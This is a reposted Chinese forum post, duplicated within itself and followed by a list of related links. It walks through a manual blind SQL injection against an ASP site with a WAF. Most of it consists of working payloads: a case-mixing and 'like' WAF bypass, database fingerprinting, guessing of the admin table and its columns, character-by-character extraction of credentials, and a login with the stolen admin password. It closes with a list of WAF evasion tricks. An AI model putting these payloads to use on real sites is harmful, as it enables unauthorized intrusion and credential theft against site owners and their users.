一次手工注入waf [转载]
2016-11-17 21:06
447 查看
转载自sss安全论坛
目标站点:http://www.xxx.cn:88
注入点: http://www.xxx.cn:88/new/details1.asp?n_id=49909 对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909’
发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,
尝试大写和like代替and
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2
[align=left]可的结论,此waf并不能检测出大写语句,那么开始注入:[/align]
[align=left]首先判断数据库:[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0[/align]
[align=left]Ps(发现waf能检测出*,这里用count(1)代替count(*))[/align]
[align=left] [/align]
[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0[/align]
[align=left]结论:是sqlsever数据库[/align]
[align=left]猜解表名[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0[/align]
[align=left] [/align]
[align=left]有表:admin[/align]
[align=left]那么猜测表admin中的字段[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left]经过猜解得到 admin,user,password三个字段[/align]
[align=left]猜解字长[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5:[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:[/align]
[align=left] [/align]
... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3
猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录
心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||
这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。
目标站点:http://www.xxx.cn:88
注入点: http://www.xxx.cn:88/new/details1.asp?n_id=49909 对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909’
发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,
尝试大写和like代替and
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2
[align=left]可的结论,此waf并不能检测出大写语句,那么开始注入:[/align]
[align=left]首先判断数据库:[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0[/align]
[align=left]Ps(发现waf能检测出*,这里用count(1)代替count(*))[/align]
[align=left] [/align]
[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0[/align]
[align=left]结论:是sqlsever数据库[/align]
[align=left]猜解表名[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0[/align]
[align=left] [/align]
[align=left]有表:admin[/align]
[align=left]那么猜测表admin中的字段[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left]经过猜解得到 admin,user,password三个字段[/align]
[align=left]猜解字长[/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5:[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left] [/align]
[align=left]Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:[/align]
[align=left] [/align]
... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3
猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录
心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||
这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。
相关文章推荐
- 记一次有意义的asp手工注入
- 记一次曲折的jsp手工半盲注入
- 记一次php手工注入(mysql)
- 介绍SQL手工注入高级技巧
- 手工注入
- 一次手工杀毒的经历
- 一次对ASP+ORACLE的注入手记
- iOS性能优化---转载《三》一次对MKMapView的性能优化(instrments core animation 使用)
- 『SQL注入』 User-Agent 手工注入的探测与利用分析
- 主动防御的代码注入方法一点思考 (转载)
- [转载]手工分析句柄表
- gerrit 修改前一次提交的方法(转载)
- [转载]PDO防注入原理分析以及使用PDO的注意事项
- 注入命令 手工注入命令大全
- Acesss数据库手工绕过通用代码防注入系统
- 一次脚本注入广告漏洞分析
- sql工具和手工注入总结
- MyZoo简单手工注入
- [转载文章] Waf实现扫描器识别
- MYSQL手工注入_复习